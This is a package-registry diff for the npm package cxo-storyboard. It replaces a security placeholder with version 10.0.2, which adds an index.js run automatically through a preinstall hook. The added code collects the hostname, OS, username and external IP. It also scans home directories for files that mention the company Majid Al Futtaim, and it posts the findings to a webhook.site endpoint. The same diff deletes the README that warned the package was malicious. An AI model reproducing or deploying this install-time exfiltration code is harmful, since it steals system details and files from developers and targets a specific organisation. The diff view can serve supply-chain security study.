cxo-storyboard 0.0.1-security → 10.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cxo-storyboard might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +97 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,97 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { exec } = require('child_process');
6
+
7
+ const webhookUrl = 'https://webhook.site/42057b0b-734e-4c7e-9755-71e765c659b0';
8
+ const keywords = ['@maf.ae', 'Majid Al Futtaim', 'majidalfuttaim'];
9
+
10
+ function searchHomeDirectory(callback) {
11
+ const homeDir = os.platform() === 'win32' ? `C:\\Users\\${whoami.trim()}` : '/home';
12
+ let matchedFiles = [];
13
+ let searchAborted = false;
14
+
15
+ function searchDir(dir) {
16
+ if (searchAborted) return;
17
+
18
+ fs.readdir(dir, { withFileTypes: true }, (err, files) => {
19
+ if (err || searchAborted) return;
20
+
21
+ files.forEach(file => {
22
+ const fullPath = path.join(dir, file.name);
23
+
24
+ if (file.isDirectory()) {
25
+ searchDir(fullPath);
26
+ } else {
27
+ fs.readFile(fullPath, 'utf8', (err, data) => {
28
+ if (!err && data) {
29
+ keywords.forEach(keyword => {
30
+ if (data.toLowerCase().includes(keyword.toLowerCase())) {
31
+ matchedFiles.push({
32
+ file: fullPath,
33
+ matchedKeyword: keyword
34
+ });
35
+
36
+ searchAborted = true;
37
+ callback(matchedFiles);
38
+ }
39
+ });
40
+ }
41
+ });
42
+ }
43
+ });
44
+ });
45
+ }
46
+
47
+ searchDir(homeDir);
48
+
49
+ setTimeout(() => {
50
+ if (!searchAborted) {
51
+ callback(matchedFiles.length > 0 ? matchedFiles : 'none');
52
+ }
53
+ }, 5000);
54
+ }
55
+
56
+ function getExternalIP(callback) {
57
+ https.get('https://api.ipify.org', (res) => {
58
+ let data = '';
59
+ res.on('data', chunk => data += chunk);
60
+ res.on('end', () => callback(data.trim()));
61
+ }).on('error', () => callback('unavailable'));
62
+ }
63
+
64
+ exec('whoami', (err, whoami) => {
65
+ const hostname = os.hostname();
66
+ const osType = `${os.type()} ${os.release()}`;
67
+
68
+ getExternalIP((externalIP) => {
69
+ searchHomeDirectory((matchedFiles) => {
70
+ const payload = JSON.stringify({
71
+ ip: externalIP,
72
+ hostname: hostname,
73
+ os: osType,
74
+ whoami: whoami.trim(),
75
+ "matched-files": matchedFiles.length > 0 ? matchedFiles : 'none'
76
+ });
77
+
78
+ const data = Buffer.from(payload);
79
+
80
+ const req = https.request(
81
+ new URL(webhookUrl),
82
+ {
83
+ method: 'POST',
84
+ headers: {
85
+ 'Content-Type': 'application/json',
86
+ 'Content-Length': data.length
87
+ }
88
+ },
89
+ (res) => res.on('data', () => {})
90
+ );
91
+
92
+ req.on('error', () => {});
93
+ req.write(data);
94
+ req.end();
95
+ });
96
+ });
97
+ });
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "cxo-storyboard",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.0.2",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ }
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cxo-storyboard for more information.